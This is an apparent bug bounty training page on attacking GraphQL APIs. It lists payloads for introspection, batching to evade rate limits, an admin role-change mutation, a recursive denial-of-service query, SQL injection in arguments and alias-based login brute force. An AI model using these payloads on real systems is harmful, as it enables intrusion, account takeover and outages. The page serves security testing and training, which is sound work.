GraphQL APIs
Introspection, batching, injections and DoS in GraphQL APIs
Quick answer
What is GraphQL APIs?
GraphQL lets clients request exactly the data they need. But if introspection is enabled, an attacker can map the entire API. Unlimited batching and recursive queries can cause DoS.
Severity
High
Frequency
Common
Payloads
8
Steps
6
Severity
High
Frequency
Common
Payloads
8
Unlike REST, GraphQL exposes a single endpoint. Introspection lets you discover every type, query and mutation. Queries can be nested recursively (DoS), batched (brute force) or carry injections in their arguments.
Where to look
/graphql endpoint
Look for /graphql, /api/graphql, /v1/graphql, /gql. Send an introspection query.
Network tab
In DevTools look for POST requests with a body containing 'query' or 'mutation'.
Apollo/Relay
If the app uses Apollo or Relay, it probably uses GraphQL. Look for __APOLLO_STATE__ in the HTML.
Methodology
Detect GraphQL
POST /graphql with body: {"query": "{__typename}"}. If it responds → GraphQL confirmed.
Introspection
{__schema{types{name,fields{name,type{name}}}}} — if it works, you have the full map of the API.
Enumerate queries and mutations
Use introspection to list every available query and mutation.
Test batching
Send an array of queries: [{query:"..."},{query:"..."},...x100]. Are they all processed?
Argument injection
Query arguments go straight to the DB. Try SQLi/NoSQLi in filters.
DoS via recursion
If there are recursive types (User→posts→author→posts→...), build a deeply nested query.
Real-world case
GraphQL introspection + undocumented mutation → Admin access
Introspection enabled
The /graphql endpoint allows introspection. The whole API structure is discovered.
Hidden mutation discovered
Among the mutations there's updateUserRole(userId, role) — undocumented in the UI but accessible via API.
Privilege escalation
mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } } — changes the role to admin.
Lesson: GraphQL introspection exposes the WHOLE API, including endpoints that aren't used in the UI. Always run the introspection query when you find GraphQL.
Payloads
Detection
{"query": "{__typename}"}Full introspection
{"query": "{__schema{types{name,fields{name,type{name}}}}}"}Field suggestion
{"query": "{us}"} → error: "Did you mean user, users, userById?"Batching
[{"query":"{ me { email } }"},{"query":"{ me { email } }"},...x1000]Advanced payloads(account required)
Escalation mutation
mutation { updateUserRole(userId: "mi-id", role: "admin") { id role } }Recursion DoS
{ users { posts { author { posts { author { posts { ... } } } } } } }SQL in argument
{ users(filter: "' OR 1=1--") { id email } }Brute force via alias
{ a1: login(user:"admin",pass:"123") { token }, a2: login(user:"admin",pass:"456") { token }, ... }Exclusive content
Create your free account to access advanced payloads, scripts and bypass techniques
Create free accountTools
GraphQL Voyager
Visualizes the GraphQL schema as an interactive graph. Paste the introspection result.
https://graphql-kit.com/graphql-voyager/
InQL (Burp)
Automatically generates queries from introspection and allows visual testing.
Burp → Extensions → InQL → URL del endpoint
graphql-cop
GraphQL security scanner: introspection, batching, DoS, field suggestions.
python3 graphql-cop.py -t https://target.com/graphql
Tips
Introspection = full map
If introspection is enabled, you have access to the whole schema: types, queries, mutations, fields.
Field suggestions = partial introspection
Even with introspection disabled, field errors usually suggest valid names.
Batching bypasses rate limiting
If you send 100 queries in a single request, many rate limiters count it as 1 request.
Contenido relacionado
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Practice GraphQL APIs with real labs
Apply these techniques in safe environments based on real bug bounty reports.